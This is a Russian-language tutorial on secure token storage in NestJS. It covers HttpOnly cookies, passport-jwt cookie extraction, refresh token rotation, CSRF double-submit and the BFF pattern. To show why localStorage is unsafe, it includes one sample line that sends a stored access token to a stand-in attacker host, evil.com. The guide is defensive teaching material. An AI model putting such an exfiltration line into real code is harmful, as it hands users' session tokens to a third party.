Когда пользователь входит в приложение, сервер выдаёт токен — доказательство того, что этот человек аутентифицирован. Токен нужно где-то хранить на стороне браузера, чтобы прикладывать к каждому запросу. Место хранения напрямую влияет на безопасность: неудачный выбор — и токен утечёт к злоумышленнику.
Почему localStorage не подходит
Самый очевидный способ — localStorage. Он простой, доступен из любого JS-кода, сохраняется между вкладками. Именно поэтому его часто используют в туториалах.
Проблема в том же свойстве: доступен из любого JS-кода. Если на странице выполняется чужой скрипт — через XSS-инъекцию, через скомпрометированный npm-пакет или сторонний CDN — он без труда читает localStorage:
// так делать нельзя
localStorage.setItem('access_token', accessToken);
// злоумышленник делает это:
fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'));
Дополнительная сложность: localStorage персистентен. Токен продолжает лежать там после закрытия вкладки, после перезапуска браузера — пока его явно не удалят.
Правильное место для токена — HttpOnly cookie, которую браузер хранит и отправляет сам, но JavaScript её не видит.
HttpOnly cookie — как это работает
Браузер умеет хранить cookie так, что скрипты на странице к ним не имеют доступа. Для этого сервер добавляет атрибут HttpOnly при установке cookie через заголовок Set-Cookie.
В NestJS cookie устанавливается через объект ответа:
// auth.controller.ts
@Controller('auth')
export class AuthController {
constructor(private readonly authService: AuthApplicationService) {}
@Public()
@Post('login')
async login(
@Body() cmd: LoginCommand,
@Res({ passthrough: true }) res: Response,
): Promise<void> {
const tokens = await this.authService.login(cmd);
res.cookie('access_token', tokens.accessToken, {
httpOnly: true,
secure: true,
sameSite: 'lax',
path: '/',
maxAge: 15 * 60 * 1000, // 15 минут
});
res.cookie('refresh_token', tokens.refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'lax',
path: '/auth/refresh', // только для refresh-endpoint
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 дней
});
}
}
Три атрибута обязательны в связке:
httpOnly: true— JavaScript не может прочитать cookie. Защита от XSS.secure: true— браузер отправит cookie только по HTTPS. Защита от перехвата в сети.sameSite: 'lax'— браузер не прикладывает cookie к запросам с чужих сайтов через POST. Частичная защита от CSRF.
Атрибут path: '/auth/refresh' для refresh-токена означает, что браузер будет отправлять эту cookie только на этот конкретный эндпоинт, а не ко всем API-запросам.
Без maxAge cookie станет «сессионной» — браузер удалит её при закрытии окна, что неудобно для пользователя. Явный срок лучше.
sameSite: 'strict' строже, но ломает сценарий «перешёл по ссылке из письма — попал неаутентифицированным». 'lax' — разумный компромисс.
Как NestJS читает cookie из запроса
Когда токен хранится в cookie, passport-jwt нужно объяснить, где его искать. По умолчанию стратегия ищет Authorization: Bearer в заголовке. Нужно добавить извлечение из cookie:
// jwt.strategy.ts
@Injectable()
export class JwtStrategy extends PassportStrategy(Strategy) {
constructor(config: AppConfig) {
super({
jwtFromRequest: ExtractJwt.fromExtractors([
(req: Request) => req?.cookies?.['access_token'] ?? null,
ExtractJwt.fromAuthHeaderAsBearerToken(), // для запросов сервис-к-сервису
]),
algorithms: ['RS256'],
audience: config.auth.audience,
issuer: config.auth.issuer,
secretOrKeyProvider: passportJwtSecret({
jwksUri: config.auth.jwksUri,
cache: true,
cacheMaxAge: 300_000,
rateLimit: true,
}),
});
}
validate(claims: Record<string, unknown>): Principal {
return { sub: claims['sub'] as string, roles: extractRoles(claims) };
}
}
Порядок extractor'ов важен: сначала пробуем cookie (для SPA-клиентов), потом Authorization (для запросов между сервисами).
Чтобы NestJS вообще умел читать cookie, нужен cookie-parser:
// main.ts
import * as cookieParser from 'cookie-parser';
async function bootstrap() {
const app = await NestFactory.create(AppModule);
app.use(cookieParser());
await app.listen(3000);
}
Без этого req.cookies будет undefined, и стратегия не найдёт токен.
Refresh token rotation — зачем и как
Access-токен живёт 15 минут — специально коротко. Refresh-токен живёт дольше (например, 7 дней) и нужен только для того, чтобы получить новый access-токен, не заставляя пользователя входить заново.
Rotation означает: при каждом обновлении старый refresh-токен аннулируется, клиент получает новый. Это даёт важное свойство: если злоумышленник украл чей-то refresh-токен, его использование мгновенно это обнаружит.
Вот как выглядит схема:
T=0 Вход → access_token (15 мин) + refresh_token RT-1 (7 дней)
T=15m POST /auth/refresh [cookie: RT-1] → новый access_token + RT-2
RT-1 помечен как использованный
T=30m POST /auth/refresh [cookie: RT-2] → новый access_token + RT-3
RT-2 помечен как использованный
T=31m Злоумышленник нашёл RT-2 и пробует его использовать
→ RT-2 уже использован → вся цепочка аннулируется → пользователь разлогинен
Endpoint обновления токена в NestJS:
@Public()
@Post('refresh')
async refresh(
@Req() req: Request,
@Res({ passthrough: true }) res: Response,
): Promise<void> {
const oldRt: string | undefined = req.cookies?.['refresh_token'];
if (!oldRt) throw new UnauthorizedException();
const tokens = await this.authService.refresh(oldRt);
res.cookie('access_token', tokens.accessToken, {
httpOnly: true, secure: true, sameSite: 'lax', path: '/', maxAge: 15 * 60 * 1000,
});
res.cookie('refresh_token', tokens.refreshToken, {
httpOnly: true, secure: true, sameSite: 'lax', path: '/auth/refresh',
maxAge: 7 * 24 * 60 * 60 * 1000,
});
}
Логика rotation живёт в authService.refresh. Если используется Keycloak, он поддерживает rotation из коробки: повторный вызов с уже использованным refresh-токеном вернёт 400 invalid_grant.
Защита от CSRF
Даже с SameSite=Lax есть сценарии, где браузер всё-таки отправит cookie — например, кросс-сайтовые GET-запросы. Для критических действий добавляют дополнительную проверку.
Классический приём — double-submit: сервер выдаёт CSRF-токен в отдельной cookie без httpOnly (чтобы JS мог её прочитать). Клиент читает это значение и отправляет его же в заголовке X-XSRF-TOKEN. Сервер сравнивает cookie и заголовок:
// csrf.guard.ts
@Injectable()
export class CsrfGuard implements CanActivate {
canActivate(ctx: ExecutionContext): boolean {
const req = ctx.switchToHttp().getRequest<Request>();
const cookieToken: string | undefined = req.cookies?.['XSRF-TOKEN'];
const headerToken = req.headers['x-xsrf-token'] as string | undefined;
if (!cookieToken || cookieToken !== headerToken) throw new ForbiddenException('invalid csrf');
return true;
}
}
Злоумышленник не может подделать этот заголовок: он не знает значение XSRF-TOKEN (с чужого сайта нельзя прочитать cookie нашего домена), значит не может собрать корректный запрос.
BFF — альтернативный подход
Есть ещё один вариант: BFF (Backend For Frontend). NestJS хранит токены у себя (в Redis), а браузер получает только обычный идентификатор сессии в cookie. Браузер вообще никогда не видит JWT:
Браузер (cookie: SESSION=abc123)
↓
NestJS BFF (в Redis: abc123 → { accessToken: ..., refreshToken: ... })
↓ BFF сам добавляет Authorization: Bearer <accessToken>
Внутренние API (OrderService, ProductService, ...)
Плюсы: токены полностью изолированы от браузера, централизованное управление сессиями, force-logout в любой момент.
Минусы: сервер хранит состояние (Redis обязателен), BFF — отдельная инфраструктура.
Для большинства сервисов проще хранить JWT в HttpOnly cookie (stateless). BFF оправдан, когда нужно жёсткое управление сессиями или они уже используют Redis по другим причинам.
Частые ошибки
JWT в localStorage — любой XSS прочитает токен. Используйте res.cookie(...) с httpOnly: true.
Cookie без secure — токен может перехватить посредник в сети. Всегда добавляйте secure: true.
Cookie без sameSite — без этого атрибута браузер отправит cookie на любой кросс-сайтовый запрос. Минимум — 'lax'.
Refresh-cookie с path: '/' — refresh-токен будет прикладываться ко всем API-запросам, расширяя поверхность атаки. Ограничьте путём /auth/refresh.
Не подключён cookie-parser — req.cookies будет undefined, стратегия не найдёт токен, все запросы получат 401.
Refresh без rotation — если refresh-токен не инвалидируется после использования, его кража не обнаруживается до истечения срока.
Коротко
localStorageнельзя — любой XSS-скрипт или скомпрометированный npm-пакет читает его без ограничений.- HttpOnly cookie — браузер отправляет её сам, JavaScript не имеет к ней доступа.
- Три обязательных атрибута:
httpOnly: true,secure: true,sameSite: 'lax'. - Refresh-cookie ограничивают путём
/auth/refresh, чтобы не прикладывалась ко всем запросам. - Refresh token rotation: при каждом обновлении старый токен аннулируется; повторное использование старого токена аннулирует всю цепочку.
cookie-parserобязателен вmain.ts, иначеreq.cookiesпустой.- CSRF double-submit: CSRF-токен в non-HttpOnly cookie + тот же токен в заголовке
X-XSRF-TOKEN. - BFF — вариант, когда JWT хранится полностью на сервере в Redis, браузер видит только сессионный идентификатор.
Что почитать дальше
- JWT validation — как
passport-jwtиjwks-rsaпроверяют подпись и claims. - Service-to-service — запросы между сервисами не используют cookie, только Bearer или mTLS.
- RBAC: маппинг ролей — как роли из JWT-claims попадают в
Principal. - PII и секреты — токены — это секреты, их не логируют.